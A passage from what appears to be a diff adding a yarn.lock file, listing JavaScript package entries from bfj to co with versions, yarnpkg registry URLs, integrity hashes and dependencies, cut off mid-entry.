"https://registry.yarnpkg.com/bfj/-/bfj-7.0.2.tgz#1988ce76f3add9ac2913fd8ba47aad9e651bfbb2" + integrity sha512-+e/UqUzwmzJamNF50tBV6tZPTORow7gQ96iFow+8b562OdMpEK0BcJEq2OSPEDmAbSMBQ7PKZ87ubFkgxpYWgw== + dependencies: + bluebird "^3.5.5" + check-types "^11.1.1" + hoopy "^0.1.4" + tryer "^1.0.1" + +big.js@^5.2.2: + version "5.2.2" + resolved "https://registry.yarnpkg.com/big.js/-/big.js-5.2.2.tgz#65f0af382f578bcdc742bd9c281e9cb2d7768328" + integrity sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ== + +binary-extensions@^1.0.0: + version "1.13.1" + resolved "https://registry.yarnpkg.com/binary-extensions/-/binary-extensions-1.13.1.tgz#598afe54755b2868a5330d2aff9d4ebb53209b65" + integrity sha512-Un7MIEDdUC5gNpcGDV97op1Ywk748MpHcFTHoYs6qnj1Z3j7I53VG3nwZhKzoBZmbdRNnb6WRdFlwl7tSDuZGw== + +binary-extensions@^2.0.0: + version "2.2.0" + resolved "https://registry.yarnpkg.com/binary-extensions/-/binary-extensions-2.2.0.tgz#75f502eeaf9ffde42fc98829645be4ea76bd9e2d" + integrity sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA== + +bindings@^1.5.0: + version "1.5.0" + resolved "https://registry.yarnpkg.com/bindings/-/bindings-1.5.0.tgz#10353c9e945334bc0511a6d90b38fbc7c9c504df" + integrity sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ== + dependencies: + file-uri-to-path "1.0.0" + +bluebird@^3.5.5: + version "3.7.2" + resolved "https://registry.yarnpkg.com/bluebird/-/bluebird-3.7.2.tgz#9f229c15be272454ffa973ace0dbee79a1b0c36f" + integrity sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg== + +bn.js@^4.0.0, bn.js@^4.1.0, bn.js@^4.11.9: + version "4.11.9" + resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-4.11.9.tgz#26d556829458f9d1e81fc48952493d0ba3507828" + integrity sha512-E6QoYqCKZfgatHTdHzs1RRKP7ip4vvm+EyRUeE2RF0NblwVvb0p6jSVeNTOFxPn26QXN2o6SMfNxKp6kU8zQaw== + +bn.js@^5.0.0, bn.js@^5.1.1: + version "5.1.3" + resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-5.1.3.tgz#beca005408f642ebebea80b042b4d18d2ac0ee6b" + integrity sha512-GkTiFpjFtUzU9CbMeJ5iazkCzGL3jrhzerzZIuqLABjbwRaFt33I9tUdSNryIptM+RxDet6OKm2WnLXzW51KsQ== + +body-parser@1.19.0: + version "1.19.0" + resolved "https://registry.yarnpkg.com/body-parser/-/body-parser-1.19.0.tgz#96b2709e57c9c4e09a6fd66a8fd979844f69f08a" + integrity sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw== + dependencies: + bytes "3.1.0" + content-type "~1.0.4" + debug "2.6.9" + depd "~1.1.2" + http-errors "1.7.2" + iconv-lite "0.4.24" + on-finished "~2.3.0" + qs "6.7.0" + raw-body "2.4.0" + type-is "~1.6.17" + +bonjour@^3.5.0: + version "3.5.0" + resolved "https://registry.yarnpkg.com/bonjour/-/bonjour-3.5.0.tgz#8e890a183d8ee9a2393b3844c691a42bcf7bc9f5" + integrity sha1-jokKGD2O6aI5OzhExpGkK897yfU= + dependencies: + array-flatten "^2.1.0" + deep-equal "^1.0.1" + dns-equal "^1.0.0" + dns-txt "^2.0.2" + multicast-dns "^6.0.1" + multicast-dns-service-types "^1.1.0" + +boolbase@^1.0.0, boolbase@~1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/boolbase/-/boolbase-1.0.0.tgz#68dff5fbe60c51eb37725ea9e3ed310dcc1e776e" + integrity sha1-aN/1++YMUes3cl6p4+0xDcwed24= + +brace-expansion@^1.1.7: + version "1.1.11" + resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.11.tgz#3c7fcbf529d87226f3d2f52b966ff5271eb441dd" + integrity sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA== + dependencies: + balanced-match "^1.0.0" + concat-map "0.0.1" + +braces@^2.3.1, braces@^2.3.2: + version "2.3.2" + resolved "https://registry.yarnpkg.com/braces/-/braces-2.3.2.tgz#5979fd3f14cd531565e5fa2df1abfff1dfaee729" + integrity sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w== + dependencies: + arr-flatten "^1.1.0" + array-unique "^0.3.2" + extend-shallow "^2.0.1" + fill-range "^4.0.0" + isobject "^3.0.1" + repeat-element "^1.1.2" + snapdragon "^0.8.1" + snapdragon-node "^2.0.1" + split-string "^3.0.2" + to-regex "^3.0.1" + +braces@^3.0.1, braces@~3.0.2: + version "3.0.2" + resolved "https://registry.yarnpkg.com/braces/-/braces-3.0.2.tgz#3454e1a462ee8d599e236df336cd9ea4f8afe107" + integrity sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A== + dependencies: + fill-range "^7.0.1" + +brorand@^1.0.1, brorand@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/brorand/-/brorand-1.1.0.tgz#12c25efe40a45e3c323eb8675a0a0ce57b22371f" + integrity sha1-EsJe/kCkXjwyPrhnWgoM5XsiNx8= + +browser-process-hrtime@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz#3c9b4b7d782c8121e56f10106d84c0d0ffc94626" + integrity sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow== + +browserify-aes@^1.0.0, browserify-aes@^1.0.4: + version "1.2.0" + resolved "https://registry.yarnpkg.com/browserify-aes/-/browserify-aes-1.2.0.tgz#326734642f403dabc3003209853bb70ad428ef48" + integrity sha512-+7CHXqGuspUn/Sl5aO7Ea0xWGAtETPXNSAjHo48JfLdPWcMng33Xe4znFvQweqc/uzk5zSOI3H52CYnjCfb5hA== + dependencies: + buffer-xor "^1.0.3" + cipher-base "^1.0.0" + create-hash "^1.1.0" + evp_bytestokey "^1.0.3" + inherits "^2.0.1" + safe-buffer "^5.0.1" + +browserify-cipher@^1.0.0: + version "1.0.1" + resolved "https://registry.yarnpkg.com/browserify-cipher/-/browserify-cipher-1.0.1.tgz#8d6474c1b870bfdabcd3bcfcc1934a10e94f15f0" + integrity sha512-sPhkz0ARKbf4rRQt2hTpAHqn47X3llLkUGn+xEJzLjwY8LRs2p0v7ljvI5EyoRO/mexrNunNECisZs+gw2zz1w== + dependencies: + browserify-aes "^1.0.4" + browserify-des "^1.0.0" + evp_bytestokey "^1.0.0" + +browserify-des@^1.0.0: + version "1.0.2" + resolved "https://registry.yarnpkg.com/browserify-des/-/browserify-des-1.0.2.tgz#3af4f1f59839403572f1c66204375f7a7f703e9c" + integrity sha512-BioO1xf3hFwz4kc6iBhI3ieDFompMhrMlnDFC4/0/vd5MokpuAc3R+LYbwTA9A5Yc9pq9UYPqffKpW2ObuwX5A== + dependencies: + cipher-base "^1.0.1" + des.js "^1.0.0" + inherits "^2.0.1" + safe-buffer "^5.1.2" + +browserify-rsa@^4.0.0, browserify-rsa@^4.0.1: + version "4.1.0" + resolved "https://registry.yarnpkg.com/browserify-rsa/-/browserify-rsa-4.1.0.tgz#b2fd06b5b75ae297f7ce2dc651f918f5be158c8d" + integrity sha512-AdEER0Hkspgno2aR97SAf6vi0y0k8NuOpGnVH3O99rcA5Q6sh8QxcngtHuJ6uXwnfAXNM4Gn1Gb7/MV1+Ymbog== + dependencies: + bn.js "^5.0.0" + randombytes "^2.0.1" + +browserify-sign@^4.0.0: + version "4.2.1" + resolved "https://registry.yarnpkg.com/browserify-sign/-/browserify-sign-4.2.1.tgz#eaf4add46dd54be3bb3b36c0cf15abbeba7956c3" + integrity sha512-/vrA5fguVAKKAVTNJjgSm1tRQDHUU6DbwO9IROu/0WAzC8PKhucDSh18J0RMvVeHAn5puMd+QHC2erPRNf8lmg== + dependencies: + bn.js "^5.1.1" + browserify-rsa "^4.0.1" + create-hash "^1.2.0" + create-hmac "^1.1.7" + elliptic "^6.5.3" + inherits "^2.0.4" + parse-asn1 "^5.1.5" + readable-stream "^3.6.0" + safe-buffer "^5.2.0" + +browserify-zlib@^0.2.0: + version "0.2.0" + resolved "https://registry.yarnpkg.com/browserify-zlib/-/browserify-zlib-0.2.0.tgz#2869459d9aa3be245fe8fe2ca1f46e2e7f54d73f" + integrity sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA== + dependencies: + pako "~1.0.5" + +browserslist@4.14.2: + version "4.14.2" + resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.14.2.tgz#1b3cec458a1ba87588cc5e9be62f19b6d48813ce" + integrity sha512-HI4lPveGKUR0x2StIz+2FXfDk9SfVMrxn6PLh1JeGUwcuoDkdKZebWiyLRJ68iIPDpMI4JLVDf7S7XzslgWOhw== + dependencies: + caniuse-lite "^1.0.30001125" + electron-to-chromium "^1.3.564" + escalade "^3.0.2" + node-releases "^1.1.61" + +browserslist@^4.0.0, browserslist@^4.12.0, browserslist@^4.14.5, browserslist@^4.16.3, browserslist@^4.6.2, browserslist@^4.6.4: + version "4.16.3" + resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.16.3.tgz#340aa46940d7db878748567c5dea24a48ddf3717" + integrity sha512-vIyhWmIkULaq04Gt93txdh+j02yX/JzlyhLYbV3YQCn/zvES3JnY7TifHHvvr1w5hTDluNKMkV05cs4vy8Q7sw== + dependencies: + caniuse-lite "^1.0.30001181" + colorette "^1.2.1" + electron-to-chromium "^1.3.649" + escalade "^3.1.1" + node-releases "^1.1.70" + +bser@2.1.1: + version "2.1.1" + resolved "https://registry.yarnpkg.com/bser/-/bser-2.1.1.tgz#e6787da20ece9d07998533cfd9de6f5c38f4bc05" + integrity sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ== + dependencies: + node-int64 "^0.4.0" + +buffer-from@^1.0.0: + version "1.1.1" + resolved "https://registry.yarnpkg.com/buffer-from/-/buffer-from-1.1.1.tgz#32713bc028f75c02fdb710d7c7bcec1f2c6070ef" + integrity sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A== + +buffer-indexof@^1.0.0: + version "1.1.1" + resolved "https://registry.yarnpkg.com/buffer-indexof/-/buffer-indexof-1.1.1.tgz#52fabcc6a606d1a00302802648ef68f639da268c" + integrity sha512-4/rOEg86jivtPTeOUUT61jJO1Ya1TrR/OkqCSZDyq84WJh3LuuiphBYJN+fm5xufIk4XAFcEwte/8WzC8If/1g== + +buffer-xor@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/buffer-xor/-/buffer-xor-1.0.3.tgz#26e61ed1422fb70dd42e6e36729ed51d855fe8d9" + integrity sha1-JuYe0UIvtw3ULm42cp7VHYVf6Nk= + +buffer@^4.3.0: + version "4.9.2" + resolved "https://registry.yarnpkg.com/buffer/-/buffer-4.9.2.tgz#230ead344002988644841ab0244af8c44bbe3ef8" + integrity sha512-xq+q3SRMOxGivLhBNaUdC64hDTQwejJ+H0T/NB1XMtTVEwNTrfFF3gAxiyW0Bu/xWEGhjVKgUcMhCrUy2+uCWg== + dependencies: + base64-js "^1.0.2" + ieee754 "^1.1.4" + isarray "^1.0.0" + +builtin-modules@^3.1.0: + version "3.2.0" + resolved "https://registry.yarnpkg.com/builtin-modules/-/builtin-modules-3.2.0.tgz#45d5db99e7ee5e6bc4f362e008bf917ab5049887" + integrity sha512-lGzLKcioL90C7wMczpkY0n/oART3MbBa8R9OFGE1rJxoVI86u4WAGfEk8Wjv10eKSyTHVGkSo3bvBylCEtk7LA== + +builtin-status-codes@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/builtin-status-codes/-/builtin-status-codes-3.0.0.tgz#85982878e21b98e1c66425e03d0174788f569ee8" + integrity sha1-hZgoeOIbmOHGZCXgPQF0eI9Wnug= + +bytes@3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.0.0.tgz#d32815404d689699f85a4ea4fa8755dd13a96048" + integrity sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg= + +bytes@3.1.0, bytes@^3.0.0: + version "3.1.0" + resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.1.0.tgz#f6cf7933a360e0588fa9fde85651cdc7f805d1f6" + integrity sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg== + +cacache@^12.0.2: + version "12.0.4" + resolved "https://registry.yarnpkg.com/cacache/-/cacache-12.0.4.tgz#668bcbd105aeb5f1d92fe25570ec9525c8faa40c" + integrity sha512-a0tMB40oefvuInr4Cwb3GerbL9xTj1D5yg0T5xrjGCGyfvbxseIXX7BAO/u/hIXdafzOI5JC3wDwHyf24buOAQ== + dependencies: + bluebird "^3.5.5" + chownr "^1.1.1" + figgy-pudding "^3.5.1" + glob "^7.1.4" + graceful-fs "^4.1.15" + infer-owner "^1.0.3" + lru-cache "^5.1.1" + mississippi "^3.0.0" + mkdirp "^0.5.1" + move-concurrently "^1.0.1" + promise-inflight "^1.0.1" + rimraf "^2.6.3" + ssri "^6.0.1" + unique-filename "^1.1.1" + y18n "^4.0.0" + +cacache@^15.0.5: + version "15.0.5" + resolved "https://registry.yarnpkg.com/cacache/-/cacache-15.0.5.tgz#69162833da29170d6732334643c60e005f5f17d0" + integrity sha512-lloiL22n7sOjEEXdL8NAjTgv9a1u43xICE9/203qonkZUCj5X1UEWIdf2/Y0d6QcCtMzbKQyhrcDbdvlZTs/+A== + dependencies: + "@npmcli/move-file" "^1.0.1" + chownr "^2.0.0" + fs-minipass "^2.0.0" + glob "^7.1.4" + infer-owner "^1.0.4" + lru-cache "^6.0.0" + minipass "^3.1.1" + minipass-collect "^1.0.2" + minipass-flush "^1.0.5" + minipass-pipeline "^1.2.2" + mkdirp "^1.0.3" + p-map "^4.0.0" + promise-inflight "^1.0.1" + rimraf "^3.0.2" + ssri "^8.0.0" + tar "^6.0.2" + unique-filename "^1.1.1" + +cache-base@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/cache-base/-/cache-base-1.0.1.tgz#0a7f46416831c8b662ee36fe4e7c59d76f666ab2" + integrity sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ== + dependencies: + collection-visit "^1.0.0" + component-emitter "^1.2.1" + get-value "^2.0.6" + has-value "^1.0.0" + isobject "^3.0.1" + set-value "^2.0.0" + to-object-path "^0.3.0" + union-value "^1.0.0" + unset-value "^1.0.0" + +call-bind@^1.0.0, call-bind@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/call-bind/-/call-bind-1.0.2.tgz#b1d4e89e688119c3c9a903ad30abb2f6a919be3c" + integrity sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA== + dependencies: + function-bind "^1.1.1" + get-intrinsic "^1.0.2" + +caller-callsite@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/caller-callsite/-/caller-callsite-2.0.0.tgz#847e0fce0a223750a9a027c54b33731ad3154134" + integrity sha1-hH4PzgoiN1CpoCfFSzNzGtMVQTQ= + dependencies: + callsites "^2.0.0" + +caller-path@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/caller-path/-/caller-path-2.0.0.tgz#468f83044e369ab2010fac5f06ceee15bb2cb1f4" + integrity sha1-Ro+DBE42mrIBD6xfBs7uFbsssfQ= + dependencies: + caller-callsite "^2.0.0" + +callsites@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/callsites/-/callsites-2.0.0.tgz#06eb84f00eea413da86affefacbffb36093b3c50" + integrity sha1-BuuE8A7qQT2oav/vrL/7Ngk7PFA= + +callsites@^3.0.0: + version "3.1.0" + resolved "https://registry.yarnpkg.com/callsites/-/callsites-3.1.0.tgz#b3630abd8943432f54b3f0519238e33cd7df2f73" + integrity sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ== + +camel-case@^4.1.1: + version "4.1.2" + resolved "https://registry.yarnpkg.com/camel-case/-/camel-case-4.1.2.tgz#9728072a954f805228225a6deea6b38461e1bd5a" + integrity sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw== + dependencies: + pascal-case "^3.1.2" + tslib "^2.0.3" + +camelcase-css@^2.0.1: + version "2.0.1" + resolved "https://registry.yarnpkg.com/camelcase-css/-/camelcase-css-2.0.1.tgz#ee978f6947914cc30c6b44741b6ed1df7f043fd5" + integrity sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA== + +camelcase@5.3.1, camelcase@^5.0.0, camelcase@^5.3.1: + version "5.3.1" + resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-5.3.1.tgz#e3c9b31569e106811df242f715725a1f4c494320" + integrity sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg== + +camelcase@^6.0.0, camelcase@^6.1.0, camelcase@^6.2.0: + version "6.2.0" + resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-6.2.0.tgz#924af881c9d525ac9d87f40d964e5cea982a1809" + integrity sha512-c7wVvbw3f37nuobQNtgsgG9POC9qMbNuMQmTCqZv23b6MIz0fcYpBiOlv9gEN/hdLdnZTDQhg6e9Dq5M1vKvfg== + +caniuse-api@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/caniuse-api/-/caniuse-api-3.0.0.tgz#5e4d90e2274961d46291997df599e3ed008ee4c0" + integrity sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw== + dependencies: + browserslist "^4.0.0" + caniuse-lite "^1.0.0" + lodash.memoize "^4.1.2" + lodash.uniq "^4.5.0" + +caniuse-lite@^1.0.0, caniuse-lite@^1.0.30000981, caniuse-lite@^1.0.30001109, caniuse-lite@^1.0.30001125, caniuse-lite@^1.0.30001181: + version "1.0.30001191" + resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001191.tgz#bacb432b6701f690c8c5f7c680166b9a9f0843d9" + integrity sha512-xJJqzyd+7GCJXkcoBiQ1GuxEiOBCLQ0aVW9HMekifZsAVGdj5eJ4mFB9fEhSHipq9IOk/QXFJUiIr9lZT+EsGw== + +capture-exit@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/capture-exit/-/capture-exit-2.0.0.tgz#fb953bfaebeb781f62898239dabb426d08a509a4" + integrity sha512-PiT/hQmTonHhl/HFGN+Lx3JJUznrVYJ3+AQsnthneZbvW7x+f08Tk7yLJTLEOUvBTbduLeeBkxEaYXUOUrRq6g== + dependencies: + rsvp "^4.8.4" + +case-sensitive-paths-webpack-plugin@2.3.0: + version "2.3.0" + resolved "https://registry.yarnpkg.com/case-sensitive-paths-webpack-plugin/-/case-sensitive-paths-webpack-plugin-2.3.0.tgz#23ac613cc9a856e4f88ff8bb73bbb5e989825cf7" + integrity sha512-/4YgnZS8y1UXXmC02xD5rRrBEu6T5ub+mQHLNRj0fzTRbgdBYhsNo2V5EqwgqrExjxsjtF/OpAKAMkKsxbD5XQ== + +caseless@~0.12.0: + version "0.12.0" + resolved "https://registry.yarnpkg.com/caseless/-/caseless-0.12.0.tgz#1b681c21ff84033c826543090689420d187151dc" + integrity sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw= + +chalk@2.4.2, chalk@^2.0.0, chalk@^2.4.1, chalk@^2.4.2: + version "2.4.2" + resolved "https://registry.yarnpkg.com/chalk/-/chalk-2.4.2.tgz#cd42541677a54333cf541a49108c1432b44c9424" + integrity sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ== + dependencies: + ansi-styles "^3.2.1" + escape-string-regexp "^1.0.5" + supports-color "^5.3.0" + +chalk@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/chalk/-/chalk-3.0.0.tgz#3f73c2bf526591f574cc492c51e2456349f844e4" + integrity sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg== + dependencies: + ansi-styles "^4.1.0" + supports-color "^7.1.0" + +chalk@^4.0.0: + version "4.1.0" + resolved "https://registry.yarnpkg.com/chalk/-/chalk-4.1.0.tgz#4e14870a618d9e2edd97dd8345fd9d9dc315646a" + integrity sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A== + dependencies: + ansi-styles "^4.1.0" + supports-color "^7.1.0" + +chalk@^4.1.0: + version "4.1.1" + resolved "https://registry.yarnpkg.com/chalk/-/chalk-4.1.1.tgz#c80b3fab28bf6371e6863325eee67e618b77e6ad" + integrity sha512-diHzdDKxcU+bAsUboHLPEDQiw0qEe0qd7SYUn3HgcFlWgbDcfLGswOHYeGrHKzG9z6UYf01d9VFMfZxPM1xZSg== + dependencies: + ansi-styles "^4.1.0" + supports-color "^7.1.0" + +char-regex@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/char-regex/-/char-regex-1.0.2.tgz#d744358226217f981ed58f479b1d6bcc29545dcf" + integrity sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw== + +check-types@^11.1.1: + version "11.1.2" + resolved "https://registry.yarnpkg.com/check-types/-/check-types-11.1.2.tgz#86a7c12bf5539f6324eb0e70ca8896c0e38f3e2f" + integrity sha512-tzWzvgePgLORb9/3a0YenggReLKAIb2owL03H2Xdoe5pKcUyWRSEQ8xfCar8t2SIAuEDwtmx2da1YB52YuHQMQ== + +chokidar@^2.1.8: + version "2.1.8" + resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-2.1.8.tgz#804b3a7b6a99358c3c5c61e71d8728f041cff917" + integrity sha512-ZmZUazfOzf0Nve7duiCKD23PFSCs4JPoYyccjUFF3aQkQadqBhfzhjkwBH2mNOG9cTBwhamM37EIsIkZw3nRgg== + dependencies: + anymatch "^2.0.0" + async-each "^1.0.1" + braces "^2.3.2" + glob-parent "^3.1.0" + inherits "^2.0.3" + is-binary-path "^1.0.0" + is-glob "^4.0.0" + normalize-path "^3.0.0" + path-is-absolute "^1.0.0" + readdirp "^2.2.1" + upath "^1.1.1" + optionalDependencies: + fsevents "^1.2.7" + +chokidar@^3.4.1, chokidar@^3.5.1: + version "3.5.1" + resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-3.5.1.tgz#ee9ce7bbebd2b79f49f304799d5468e31e14e68a" + integrity sha512-9+s+Od+W0VJJzawDma/gvBNQqkTiqYTWLuZoyAsivsI4AaWTCzHG06/TMjsf1cYe9Cb97UCEhjz7HvnPk2p/tw== + dependencies: + anymatch "~3.1.1" + braces "~3.0.2" + glob-parent "~5.1.0" + is-binary-path "~2.1.0" + is-glob "~4.0.1" + normalize-path "~3.0.0" + readdirp "~3.5.0" + optionalDependencies: + fsevents "~2.3.1" + +chownr@^1.1.1: + version "1.1.4" + resolved "https://registry.yarnpkg.com/chownr/-/chownr-1.1.4.tgz#6fc9d7b42d32a583596337666e7d08084da2cc6b" + integrity sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg== + +chownr@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/chownr/-/chownr-2.0.0.tgz#15bfbe53d2eab4cf70f18a8cd68ebe5b3cb1dece" + integrity sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ== + +chrome-trace-event@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/chrome-trace-event/-/chrome-trace-event-1.0.2.tgz#234090ee97c7d4ad1a2c4beae27505deffc608a4" + integrity sha512-9e/zx1jw7B4CO+c/RXoCsfg/x1AfUBioy4owYH0bJprEYAx5hRFLRhWBqHAG57D0ZM4H7vxbP7bPe0VwhQRYDQ== + dependencies: + tslib "^1.9.0" + +ci-info@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/ci-info/-/ci-info-2.0.0.tgz#67a9e964be31a51e15e5010d58e6f12834002f46" + integrity sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ== + +cipher-base@^1.0.0, cipher-base@^1.0.1, cipher-base@^1.0.3: + version "1.0.4" + resolved "https://registry.yarnpkg.com/cipher-base/-/cipher-base-1.0.4.tgz#8760e4ecc272f4c363532f926d874aae2c1397de" + integrity sha512-Kkht5ye6ZGmwv40uUDZztayT2ThLQGfnj/T71N/XzeZeo3nf8foyW7zGTsPYkEya3m5f3cAypH+qe7YOrM1U2Q== + dependencies: + inherits "^2.0.1" + safe-buffer "^5.0.1" + +cjs-module-lexer@^0.6.0: + version "0.6.0" + resolved "https://registry.yarnpkg.com/cjs-module-lexer/-/cjs-module-lexer-0.6.0.tgz#4186fcca0eae175970aee870b9fe2d6cf8d5655f" + integrity sha512-uc2Vix1frTfnuzxxu1Hp4ktSvM3QaI4oXl4ZUqL1wjTu/BGki9TrCWoqLTg/drR1KwAEarXuRFCG2Svr1GxPFw== + +class-utils@^0.3.5: + version "0.3.6" + resolved "https://registry.yarnpkg.com/class-utils/-/class-utils-0.3.6.tgz#f93369ae8b9a7ce02fd41faad0ca83033190c463" + integrity sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg== + dependencies: + arr-union "^3.1.0" + define-property "^0.2.5" + isobject "^3.0.0" + static-extend "^0.1.1" + +clean-css@^4.2.3: + version "4.2.3" + resolved "https://registry.yarnpkg.com/clean-css/-/clean-css-4.2.3.tgz#507b5de7d97b48ee53d84adb0160ff6216380f78" + integrity sha512-VcMWDN54ZN/DS+g58HYL5/n4Zrqe8vHJpGA8KdgUXFU4fuP/aHNw8eld9SyEIyabIMJX/0RaY/fplOo5hYLSFA== + dependencies: + source-map "~0.6.0" + +clean-stack@^2.0.0: + version "2.2.0" + resolved "https://registry.yarnpkg.com/clean-stack/-/clean-stack-2.2.0.tgz#ee8472dbb129e727b31e8a10a427dee9dfe4008b" + integrity sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A== + +cliui@^5.0.0: + version "5.0.0" + resolved "https://registry.yarnpkg.com/cliui/-/cliui-5.0.0.tgz#deefcfdb2e800784aa34f46fa08e06851c7bbbc5" + integrity sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA== + dependencies: + string-width "^3.1.0" + strip-ansi "^5.2.0" + wrap-ansi "^5.1.0" + +cliui@^6.0.0: + version "6.0.0" + resolved "https://registry.yarnpkg.com/cliui/-/cliui-6.0.0.tgz#511d702c0c4e41ca156d7d0e96021f23e13225b1" + integrity sha512-t6wbgtoCXvAzst7QgXxJYqPt0usEfbgQdftEPbLL/cvv6HPE5VgvqCuAIDR0NgU52ds6rFwqrgakNLrHEjCbrQ== + dependencies: + string-width "^4.2.0" + strip-ansi "^6.0.0" + wrap-ansi "^6.2.0" + +co@^4.6.0: + version 